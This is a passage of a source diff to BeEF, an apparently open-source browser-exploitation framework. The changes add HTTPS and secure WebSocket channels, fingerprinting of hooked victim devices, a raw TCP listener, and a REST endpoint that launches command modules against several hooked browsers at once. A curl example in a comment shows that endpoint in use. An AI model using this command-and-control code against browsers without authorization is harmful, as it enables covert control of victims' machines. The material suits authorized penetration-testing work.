end
|
||||
|
||||
@body << @hook
|
||||
|
||||
end
|
||||
|
||||
# Finds the path to js components
|
||||
# @param [String] component Name of component
|
||||
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
|
||||
def find_beefjs_component_path(component)
|
||||
component_path = component
|
||||
component_path.gsub!(/beef./, '')
|
||||
component_path.gsub!(/\./, '/')
|
||||
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
|
||||
|
||||
return false if not File.exists? component_path
|
||||
|
||||
component_path
|
||||
end
|
||||
|
||||
# Builds missing beefjs components.
|
||||
# @param [Array] beefjs_components An array of component names
|
||||
def build_missing_beefjs_components(beefjs_components)
|
||||
# @note verifies that @beef_js_cmps is not nil to avoid bugs
|
||||
@beef_js_cmps = '' if @beef_js_cmps.nil?
|
||||
|
||||
if beefjs_components.is_a? String
|
||||
beefjs_components_path = find_beefjs_component_path(beefjs_components)
|
||||
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
|
||||
beefjs_components = {beefjs_components => beefjs_components_path}
|
||||
end
|
||||
|
||||
beefjs_components.keys.each {|k|
|
||||
next if @beef_js_cmps.include? beefjs_components[k]
|
||||
|
||||
# @note path to the component
|
||||
component_path = beefjs_components[k]
|
||||
|
||||
# @note we output the component to the hooked browser
|
||||
@body << File.read(component_path)+"\n\n"
|
||||
|
||||
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
|
||||
if @beef_js_cmps.eql? ''
|
||||
@beef_js_cmps = component_path
|
||||
else
|
||||
@beef_js_cmps += ",#{component_path}"
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -82,7 +82,7 @@ module BeEF
|
||||
# @note prints the event to the console
|
||||
if BeEF::Settings.console?
|
||||
name = command_module.friendlyname || kclass
|
||||
print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'"
|
||||
print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has been sent instructions from command module '#{name}'"
|
||||
end
|
||||
|
||||
# @note flag that the command has been sent to the hooked browser
|
||||
|
||||
@@ -24,6 +24,10 @@ module Core
|
||||
# Constructor
|
||||
def initialize
|
||||
@logs = BeEF::Core::Models::Log
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
|
||||
# if notifications are enabled create a new instance
|
||||
@notifications = BeEF::Extension::Notifications::Notifications unless @config.get('beef.extension.notifications.enable') == false
|
||||
end
|
||||
|
||||
# Registers a new event in the logs
|
||||
@@ -34,6 +38,9 @@ module Core
|
||||
def register(from, event, hb = 0)
|
||||
# type conversion to enforce standards
|
||||
hb = hb.to_i
|
||||
|
||||
# get time now
|
||||
time_now = Time.now
|
||||
|
||||
# arguments type checking
|
||||
raise Exception::TypeError, '"from" needs to be a string' if not from.string?
|
||||
@@ -41,7 +48,12 @@ module Core
|
||||
raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer?
|
||||
|
||||
# logging the new event into the database
|
||||
@logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :hooked_browser_id => hb).save
|
||||
@logs.new(:type => "#{from}", :event => "#{event}", :date => time_now, :hooked_browser_id => hb).save
|
||||
|
||||
# if notifications are enabled send the info there too
|
||||
if @notifications
|
||||
@notifications.new(from, event, time_now, hb)
|
||||
end
|
||||
|
||||
# return
|
||||
true
|
||||
|
||||
@@ -62,7 +62,7 @@ module Models
|
||||
|
||||
browserdetails
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the icon representing the browser type the
|
||||
# hooked browser is using (i.e. Firefox, Internet Explorer)
|
||||
@@ -94,9 +94,10 @@ module Models
|
||||
return BeEF::Core::Constants::Os::OS_QNX_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_QNX_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_BEOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BEOS_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_OPENBSD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_OPENBSD_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPHONE_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPAD_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPOD_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_WEBOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_WEBOS_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPHONE_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPAD_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPOD_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_MAEMO_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAEMO_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_MAC_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAC_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_BLACKBERRY_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BLACKBERRY_UA_STR
|
||||
@@ -105,6 +106,33 @@ module Models
|
||||
BeEF::Core::Constants::Os::OS_UNKNOWN_IMG
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the icon representing the hardware the
|
||||
# zombie is running on (i.e. iPhone, BlackBerry)
|
||||
#
|
||||
def self.hw_icon(session_id)
|
||||
|
||||
ua_string = get(session_id, 'BrowserReportedName')
|
||||
|
||||
return BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG if ua_string.nil?
|
||||
|
||||
return BeEF::Core::Constants::Hardware::HW_WINPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_WINPHONE_UA_STR
|
||||
return BeEF::Core::Constants::Hardware::HW_ZUNE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ZUNE_UA_STR
|
||||
return BeEF::Core::Constants::Hardware::HW_BLACKBERRY_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_BLACKBERRY_UA_STR
|
||||
return BeEF::Core::Constants::Hardware::HW_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPHONE_UA_STR
|
||||
return BeEF::Core::Constants::Hardware::HW_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPAD_UA_STR
|
||||
return BeEF::Core::Constants::Hardware::HW_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPOD_UA_STR
|
||||
return BeEF::Core::Constants::Hardware::HW_KINDLE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_KINDLE_UA_STR
|
||||
return BeEF::Core::Constants::Hardware::HW_NOKIA_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_NOKIA_UA_STR
|
||||
return BeEF::Core::Constants::Hardware::HW_MOTOROLA_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_MOTOROLA_UA_STR
|
||||
return BeEF::Core::Constants::Hardware::HW_HTC_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_HTC_UA_STR
|
||||
return BeEF::Core::Constants::Hardware::HW_GOOGLE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_GOOGLE_UA_STR
|
||||
return BeEF::Core::Constants::Hardware::HW_ERICSSON_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ERICSSON_UA_STR
|
||||
|
||||
BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -65,11 +65,11 @@ module Models
|
||||
command.save
|
||||
|
||||
# @note log that the result was returned
|
||||
BeEF::Core::Logger.instance.register('Command', "Hooked browser #{hooked_browser.ip} has executed instructions from command module '#{command_friendly_name}'", hooked_browser_id)
|
||||
BeEF::Core::Logger.instance.register('Command', "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module '#{command_friendly_name}'", hooked_browser_id)
|
||||
|
||||
# @note prints the event into the console
|
||||
if BeEF::Settings.console?
|
||||
print_info "Hooked browser #{hooked_browser.ip} has executed instructions from command module '#{command_friendly_name}'"
|
||||
print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module '#{command_friendly_name}'"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -29,6 +29,7 @@ module Handlers
|
||||
# Starts the AssetHandler instance
|
||||
def initialize
|
||||
@allocations = {}
|
||||
@sockets = {}
|
||||
@http_server = BeEF::Core::Server.instance
|
||||
@root_dir = File.expand_path('../../../../', __FILE__)
|
||||
end
|
||||
@@ -59,6 +60,37 @@ module Handlers
|
||||
print_info "Url [" + url + "] unmounted"
|
||||
end
|
||||
|
||||
# use it like: bind_socket("irc","0.0.0.0",6667)
|
||||
def bind_socket(name, host, port)
|
||||
if @sockets[name] != nil
|
||||
print_error "Thread [#{name}] is already listening on [#{host}:#{port}]."
|
||||
else
|
||||
t = Thread.new {
|
||||
server = TCPServer.new(host,port)
|
||||
loop do
|
||||
Thread.start(server.accept) do |client|
|
||||
data = ""
|
||||
recv_length = 1024
|
||||
while (tmp = client.recv(recv_length))
|
||||
data += tmp
|
||||
break if tmp.length < recv_length || tmp.length == recv_length
|
||||
end
|
||||
client.close
|
||||
print_debug "Bind Socket on Thread [#{name}] received:\n#{data}"
|
||||
end
|
||||
end
|
||||
}
|
||||
@sockets[name] = t
|
||||
print_info "Thread [#{name}] listening on [#{host}:#{port}]."
|
||||
end
|
||||
end
|
||||
|
||||
def unbind_socket(name)
|
||||
t = @sockets[name]
|
||||
Thread.kill(t)
|
||||
print_info "Thread [#{name}] killed."
|
||||
end
|
||||
|
||||
# Builds a URL based on the path and extension, if neither are passed a random URL will be generated
|
||||
# @param [String] path URL Path defined by bind()
|
||||
# @param [String] extension Extension defined by bind()
|
||||
|
||||
@@ -27,17 +27,156 @@ module BeEF
|
||||
@@activeSocket= Hash.new
|
||||
@@lastalive= Hash.new
|
||||
@@config = BeEF::Core::Configuration.instance
|
||||
#@@wsopt=nil
|
||||
MOUNTS = BeEF::Core::Server.instance.mounts
|
||||
|
||||
def initialize
|
||||
port = @@config.get("beef.http.websocket.port")
|
||||
|
||||
|
||||
secure = @@config.get("beef.http.websocket.secure")
|
||||
@root_dir = File.expand_path('../../../../../', __FILE__)
|
||||
|
||||
if (secure)
|
||||
ws_secure_options = {:host => "0.0.0.0", :port => @@config.get("beef.http.websocket.secure_port"), :secure => true,
|
||||
:tls_options => {
|
||||
:private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"),
|
||||
:cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert")
|
||||
}
|
||||
}
|
||||
# @note Start a WSS server socket
|
||||
start_websocket_server(ws_secure_options, true)
|
||||
end
|
||||
|
||||
# @note Start a WS server socket
|
||||
ws_options = {:host => "0.0.0.0", :port => @@config.get("beef.http.websocket.port")}
|
||||
start_websocket_server(ws_options,false)
|
||||
|
||||
# #Thread for websocket-secure
|
||||
# Thread.new {
|
||||
# port = @@config.get("beef.http.websocket.secure_port")
|
||||
# sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
|
||||
# EventMachine.run {
|
||||
#
|
||||
# wsopt = {:host => "0.0.0.0", :port => port, :secure => true,
|
||||
# :tls_options => {
|
||||
# :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"),
|
||||
# :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert")
|
||||
# }
|
||||
# }
|
||||
#
|
||||
#
|
||||
# EventMachine::WebSocket.start(wsopt) do |ws|
|
||||
# begin
|
||||
# print_debug "New WebSocket-secured channel open."
|
||||
# ws.onmessage { |msg|
|
||||
# msg_hash = JSON.parse("#{msg}")
|
||||
# #@note messageHash[result] is Base64 encoded
|
||||
# if (msg_hash["cookie"]!= nil)
|
||||
# print_debug("WebSocket-secured - Browser says helo! WebSocket is running")
|
||||
# #insert new connection in activesocket
|
||||
# @@activeSocket["#{msg_hash["cookie"]}"] = ws
|
||||
# print_debug("WebSocket-secured - activeSocket content [#{@@activeSocket}]")
|
||||
# elsif msg_hash["alive"] != nil
|
||||
# hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"])
|
||||
# unless hooked_browser.nil?
|
||||
# hooked_browser.lastseen = Time.new.to_i
|
||||
# hooked_browser.count!
|
||||
# hooked_browser.save
|
||||
#
|
||||
# #Check if new modules need to be sent
|
||||
# zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
|
||||
# zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
|
||||
#
|
||||
# #@todo antisnatchor:
|
||||
# #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
|
||||
# #Check if new forged requests need to be sent (Requester/TunnelingProxy)
|
||||
# dhook = BeEF::Extension::Requester::API::Hook.new
|
||||
# dhook.requester_run(hooked_browser, '')
|
||||
#
|
||||
# #Check if new XssRays scan need to be started
|
||||
# xssrays = BeEF::Extension::Xssrays::API::Scan.new
|
||||
# xssrays.start_scan(hooked_browser, '')
|
||||
# end
|
||||
# else
|
||||
# #json recv is a cmd response decode and send all to
|
||||
# #we have to call dynamicreconstructor handler camp must be websocket
|
||||
# #print_debug("Received from WebSocket #{messageHash}")
|
||||
# execute(msg_hash)
|
||||
# end
|
||||
# }
|
||||
# rescue Exception => e
|
||||
# print_error "WebSocket-secured error: #{e}"
|
||||
# end
|
||||
# end
|
||||
# }
|
||||
#
|
||||
# }
|
||||
#
|
||||
##Thread for websocket
|
||||
#Thread.new {
|
||||
# port = @@config.get("beef.http.websocket.port")
|
||||
# sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
|
||||
# EventMachine.run {
|
||||
#
|
||||
# wsopt = {:host => "0.0.0.0", :port => port}
|
||||
#
|
||||
#
|
||||
# EventMachine::WebSocket.start(wsopt) do |ws|
|
||||
# begin
|
||||
# print_debug "New WebSocket channel open."
|
||||
# ws.onmessage { |msg|
|
||||
# msg_hash = JSON.parse("#{msg}")
|
||||
# #@note messageHash[result] is Base64 encoded
|
||||
# if (msg_hash["cookie"]!= nil)
|
||||
# print_debug("WebSocket - Browser says helo! WebSocket is running")
|
||||
# #insert new connection in activesocket
|
||||
# @@activeSocket["#{msg_hash["cookie"]}"] = ws
|
||||
# print_debug("WebSocket - activeSocket content [#{@@activeSocket}]")
|
||||
# elsif msg_hash["alive"] != nil
|
||||
# hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"])
|
||||
# unless hooked_browser.nil?
|
||||
# hooked_browser.lastseen = Time.new.to_i
|
||||
# hooked_browser.count!
|
||||
# hooked_browser.save
|
||||
#
|
||||
# #Check if new modules need to be sent
|
||||
# zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
|
||||
# zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
|
||||
#
|
||||
# #@todo antisnatchor:
|
||||
# #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
|
||||
# #Check if new forged requests need to be sent (Requester/TunnelingProxy)
|
||||
# dhook = BeEF::Extension::Requester::API::Hook.new
|
||||
# dhook.requester_run(hooked_browser, '')
|
||||
#
|
||||
# #Check if new XssRays scan need to be started
|
||||
# xssrays = BeEF::Extension::Xssrays::API::Scan.new
|
||||
# xssrays.start_scan(hooked_browser, '')
|
||||
# end
|
||||
# else
|
||||
# #json recv is a cmd response decode and send all to
|
||||
# #we have to call dynamicreconstructor handler camp must be websocket
|
||||
# #print_debug("Received from WebSocket #{messageHash}")
|
||||
# execute(msg_hash)
|
||||
# end
|
||||
# }
|
||||
# rescue Exception => e
|
||||
# print_error "WebSocket error: #{e}"
|
||||
# end
|
||||
# end
|
||||
# }
|
||||
#}
|
||||
|
||||
|
||||
end
|
||||
|
||||
def start_websocket_server(ws_options, secure)
|
||||
Thread.new {
|
||||
sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
|
||||
EventMachine.run { #todo antisnatchor: add support for WebSocket secure (new object with different config options, then start)
|
||||
EventMachine::WebSocket.start(:host => "0.0.0.0", :port => port) do |ws|
|
||||
EventMachine.run {
|
||||
EventMachine::WebSocket.start(ws_options) do |ws|
|
||||
begin
|
||||
print_debug "New WebSocket channel open."
|
||||
secure ? print_debug("New WebSocketSecure channel open.") : print_debug("New WebSocket channel open.")
|
||||
ws.onmessage { |msg|
|
||||
msg_hash = JSON.parse("#{msg}")
|
||||
#@note messageHash[result] is Base64 encoded
|
||||
@@ -80,7 +219,6 @@ module BeEF
|
||||
end
|
||||
}
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
#@note retrieve the right websocket channel given an hooked browser session
|
||||
@@ -115,7 +253,7 @@ module BeEF
|
||||
handler = data["handler"]
|
||||
if handler.match(/command/)
|
||||
BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"],
|
||||
@@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
|
||||
@@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
|
||||
else #processing results from extensions, call the right handler
|
||||
data["beefhook"] = hooked_browser
|
||||
data["results"] = JSON.parse(Base64.decode64(data["result"]))
|
||||
|
||||
@@ -76,11 +76,12 @@ module BeEF
|
||||
details = BeEF::Core::Models::BrowserDetails
|
||||
|
||||
{
|
||||
'id' => hb.id,
|
||||
'session' => hb.session,
|
||||
'name' => details.get(hb.session, 'BrowserName'),
|
||||
'version' => details.get(hb.session, 'BrowserVersion'),
|
||||
'os' => details.get(hb.session, 'OsName'),
|
||||
'platform' => details.get(hb.session, 'SystemPlatform'),
|
||||
'session' => hb.session,
|
||||
'ip' => hb.ip,
|
||||
'domain' => details.get(hb.session, 'HostName'),
|
||||
'port' => hb.port.to_s,
|
||||
|
||||
@@ -141,6 +141,54 @@ module BeEF
|
||||
error 400 # Bad Request
|
||||
end
|
||||
end
|
||||
|
||||
#@note Fire a new command module to multiple hooked browsers.
|
||||
# Returns the command IDs of the launched modules, or 0 if firing got issues.
|
||||
# POST request body example (for modules that don't need parameters, just remove "mod_params")
|
||||
# {
|
||||
# "mod_id":1,
|
||||
# "mod_params":{
|
||||
# "question":"are you hooked?"
|
||||
# },
|
||||
# "hb_ids":[1,2]
|
||||
# }
|
||||
# response example: {"1":16,"2":17}
|
||||
# curl example (alert module with custom text, 2 hooked browsers)):
|
||||
#curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"mucci?"},"hb_ids":[1,2]}'
|
||||
#-X POST http://127.0.0.1:3000/api/modules/multi?token=2316d82702b83a293e2d46a0886a003a6be0a633
|
||||
post '/multi' do
|
||||
request.body.rewind
|
||||
begin
|
||||
body = JSON.parse request.body.read
|
||||
|
||||
modk = BeEF::Module.get_key_by_database_id body["mod_id"]
|
||||
error 404 unless modk != nil
|
||||
mod_params = []
|
||||
|
||||
if body["mod_params"] != nil
|
||||
body["mod_params"].each{|k,v|
|
||||
mod_params.push({'name' => k, 'value' => v})
|
||||
}
|
||||
end
|
||||
|
||||
hb_ids = body["hb_ids"]
|
||||
results = Hash.new
|
||||
hb_ids.each do |hb_id|
|
||||
hb = BeEF::Core::Models::HookedBrowser.first(:id => hb_id)
|
||||
if hb == nil
|
||||
results[hb_id] = 0
|
||||
next
|
||||
else
|
||||
cmd_id = BeEF::Module.execute(modk, hb.session, mod_params)
|
||||
results[hb_id] = cmd_id
|
||||
end
|
||||
end
|
||||
results.to_json
|
||||
rescue Exception => e
|
||||
print_error "Invalid JSON input passed to endpoint /api/modules/multi"
|
||||
error 400 # Bad Request
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -48,7 +48,8 @@ module BeEF
|
||||
'beef_public' => @configuration.get('beef.http.public'),
|
||||
'beef_public_port' => @configuration.get('beef.http.public_port'),
|
||||
'beef_dns' => @configuration.get('beef.http.dns'),
|
||||
'beef_hook' => @configuration.get('beef.http.hook_file')
|
||||
'beef_hook' => @configuration.get('beef.http.hook_file'),
|
||||
'beef_proto' => @configuration.get('beef.http.https.enable') == true ? "https" : "http"
|
||||
}
|
||||
end
|
||||
|
||||
@@ -61,9 +62,9 @@ module BeEF
|
||||
raise Exception::TypeError, '"url" needs to be a string' if not url.string?
|
||||
|
||||
if args == nil
|
||||
mounts[url] = http_handler_class
|
||||
@mounts[url] = http_handler_class
|
||||
else
|
||||
mounts[url] = http_handler_class, *args
|
||||
@mounts[url] = http_handler_class, *args
|
||||
end
|
||||
print_debug("Server: mounted handler '#{url}'")
|
||||
end
|
||||
@@ -108,6 +109,13 @@ module BeEF
|
||||
@configuration.get('beef.http.host'),
|
||||
@configuration.get('beef.http.port'),
|
||||
@rack_app)
|
||||
|
||||
if @configuration.get('beef.http.https.enable') == true
|
||||
@http_server.ssl = true
|
||||
@http_server.ssl_options = {:private_key_file => $root_dir + "/" + @configuration.get('beef.http.https.key'),
|
||||
:cert_chain_file => $root_dir + "/" + @configuration.get('beef.http.https.cert'),
|
||||
:verify_peer => false}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -28,6 +28,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/getRestfulApiToken.json' => method(:get_restful_api_token),
|
||||
'/select/commandmodules/all.json' => method(:select_all_command_modules),
|
||||
'/select/commandmodules/tree.json' => method(:select_command_modules_tree),
|
||||
'/select/commandmodule.json' => method(:select_command_module),
|
||||
@@ -43,6 +44,17 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
|
||||
@session = BeEF::Extension::AdminUI::Session.instance
|
||||
end
|
||||
|
||||
# @note Returns the RESTful api key. Authenticated call, so callable only
|
||||
# from the admin UI after successful authentication (cookie).
|
||||
# -> http://127.0.0.1:3000/ui/modules/getRestfulApiToken.json
|
||||
# response
|
||||
# <- {"token":"800679edbb59976935d7673924caaa9e99f55c32"}
|
||||
def get_restful_api_token
|
||||
@body = {
|
||||
'token' => BeEF::Core::Configuration.instance.get("beef.api_token")
|
||||
}.to_json
|
||||
end
|
||||
|
||||
# Returns a JSON array containing the summary for a selected zombie.
|
||||
def select_zombie_summary
|
||||
@@ -136,7 +148,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
|
||||
# set and add the return values for the os name
|
||||
os_name = BD.get(zombie_session, 'OsName')
|
||||
if not host_name.nil?
|
||||
if not os_name.nil?
|
||||
encoded_os_name = CGI.escapeHTML(os_name)
|
||||
encoded_os_name_hash = { 'OS Name' => encoded_os_name }
|
||||
|
||||
@@ -148,6 +160,21 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the hardware name
|
||||
hw_name = BD.get(zombie_session, 'Hardware')
|
||||
if not hw_name.nil?
|
||||
encoded_hw_name = CGI.escapeHTML(hw_name)
|
||||
encoded_hw_name_hash = { 'Hardware' => encoded_hw_name }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Host',
|
||||
'data' => encoded_hw_name_hash,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the browser name
|
||||
browser_name = BD.get(zombie_session, 'BrowserName')
|
||||
@@ -331,6 +358,21 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the yes|no value for hasPhonegap
|
||||
has_phonegap = BD.get(zombie_session, 'hasPhonegap')
|
||||
if not has_phonegap.nil?
|
||||
encoded_has_phonegap = CGI.escapeHTML(has_phonegap)
|
||||
encoded_has_phonegap_hash = { 'Has Phonegap' => encoded_has_phonegap }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser',
|
||||
'data' => encoded_has_phonegap_hash,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the yes|no value for HasGoogleGears
|
||||
has_googlegears = BD.get(zombie_session, 'HasGoogleGears')
|
||||
if not has_googlegears.nil?
|
||||
@@ -549,12 +591,15 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
# append the number of command modules so the branch name results in: "<category name> (num)"
|
||||
parent.each {|command_module_branch|
|
||||
if command_module_branch.is_a?(Hash) and command_module_branch.has_key?('children')
|
||||
num_of_command_modules = command_module_branch['children'].length
|
||||
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
|
||||
|
||||
num_of_subs = 0
|
||||
command_module_branch['children'].each {|c|
|
||||
#add in the submodules and subtract 1 for the folder node
|
||||
num_of_subs+=c['children'].length-1 if c.has_key?('children')
|
||||
retitle_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder'
|
||||
}
|
||||
num_of_command_modules = command_module_branch['children'].length + num_of_subs
|
||||
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
|
||||
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
@@ -14,94 +14,115 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Controllers
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Controllers
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
class Panel < BeEF::Extension::AdminUI::HttpController
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/' => method(:index),
|
||||
'/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update)
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# default index page
|
||||
def index; end
|
||||
|
||||
# return a JSON object contains all the updates for the hooked browser trees
|
||||
def hooked_browser_tree_update
|
||||
# retrieve the hbs that are online
|
||||
hooked_browsers_online = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)))
|
||||
|
||||
# retrieve the hbs that are offline
|
||||
hooked_browsers_offline = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)))
|
||||
|
||||
# retrieve the distributed engine rules that are enabled
|
||||
distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Core::DistributedEngine::Models::Rules.all(:enabled => true))
|
||||
|
||||
# hash that gets populated with all the information for the hb trees
|
||||
ret = {
|
||||
'success' => true,
|
||||
|
||||
# the list of hb
|
||||
'hooked-browsers' => {
|
||||
'online' => hooked_browsers_online,
|
||||
'offline' => hooked_browsers_offline
|
||||
},
|
||||
|
||||
# the rules for the distributed engine
|
||||
'ditributed-engine-rules' => distributed_engine_rules
|
||||
}
|
||||
|
||||
@body = ret.to_json
|
||||
end
|
||||
|
||||
# Takes a list distributed engine rules and format the results into JSON
|
||||
def distributed_engine_rules_2_json_simple(rules)
|
||||
class Panel < BeEF::Extension::AdminUI::HttpController
|
||||
|
||||
end
|
||||
|
||||
# Takes a list of zombies and format the results in a JSON array.
|
||||
def zombies2json_simple(zombies)
|
||||
zombies_hash = {}
|
||||
i = 0
|
||||
|
||||
zombies.each do |zombie|
|
||||
# create hash of zombie details
|
||||
zombies_hash[i] = (get_simple_hooked_browser_hash(zombie))
|
||||
i+=1
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/' => method(:index),
|
||||
'/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update)
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# default index page
|
||||
def index;
|
||||
end
|
||||
|
||||
# return a JSON object contains all the updates for the hooked browser trees
|
||||
def hooked_browser_tree_update
|
||||
# retrieve the hbs that are online
|
||||
hooked_browsers_online = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)))
|
||||
|
||||
# retrieve the hbs that are offline
|
||||
hooked_browsers_offline = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)))
|
||||
|
||||
# retrieve the distributed engine rules that are enabled
|
||||
distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Core::DistributedEngine::Models::Rules.all(:enabled => true))
|
||||
|
||||
# hash that gets populated with all the information for the hb trees
|
||||
ret = {
|
||||
'success' => true,
|
||||
|
||||
# the list of hb
|
||||
'hooked-browsers' => {
|
||||
'online' => hooked_browsers_online,
|
||||
'offline' => hooked_browsers_offline
|
||||
},
|
||||
|
||||
# the rules for the distributed engine
|
||||
'ditributed-engine-rules' => distributed_engine_rules
|
||||
}
|
||||
|
||||
@body = ret.to_json
|
||||
end
|
||||
|
||||
# Takes a list distributed engine rules and format the results into JSON
|
||||
def distributed_engine_rules_2_json_simple(rules)
|
||||
|
||||
end
|
||||
|
||||
# Takes a list of zombies and format the results in a JSON array.
|
||||
def zombies2json_simple(zombies)
|
||||
zombies_hash = {}
|
||||
i = 0
|
||||
|
||||
zombies.each do |zombie|
|
||||
